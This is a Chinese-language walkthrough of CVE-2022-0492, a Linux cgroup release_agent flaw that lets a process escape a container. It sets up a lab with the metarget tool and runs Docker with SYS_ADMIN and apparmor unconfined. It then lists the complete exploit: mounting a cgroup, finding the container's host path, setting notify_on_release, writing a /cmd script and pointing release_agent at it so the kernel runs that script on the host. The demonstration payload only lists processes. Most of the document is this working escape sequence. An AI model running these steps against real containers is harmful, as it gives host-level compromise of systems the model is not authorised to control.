CVE-2022-0492

本文作者:一生热爱




# 一、简介

当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机

漏洞产品: linux kernel - cgroup

# 二、环境搭建

git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget cnv install cve-2022-0492
1
2
3
4

查看安装的内核版本

# 三、漏洞利用

带有 sys_admin 启动 Docker, 关闭 apparmor(否则无法 mount)

docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
1

上面是带有 CAP_SYS_ADMIN 权限的 Docker ,看网上文章不带有 SYS_ADMIN 权限并关闭所有安全防护的 Docker 也是能进行漏洞利用的,但是我并没有成功,进行mount 的时候不会加载 release_agent

进入 Docker 内部,执行如下命令,挂载 cgroup

mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
mkdir /tmp/testcgroup/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
1
2
3
4

修改 release_agent 触发逃逸,将 notify_on_release 设置为1,开启 task 进程清空后执行 release_agent 功能

echo 1 > /tmp/testcgroup/x/notify_on_release
1

创建 release_agent 触发时执行的文件

touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd
1
2
3
4

修改release_agent ,指向 cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径)

echo "$host_path/cmd" > /tmp/testcgroup/release_agent
1

接下来向 x cgroup 节点中输入一个任务,将自己所属的 sh 的pid 写入 cgroup.procs

sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"
1

sh 命令只执行了一个 echo 指令,一瞬间就会结束,那么 x cgroup 节点中就 / 没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /cmd 文件,内核触发,在容器外执行我们指定的命令,完成逃逸,逃逸成功。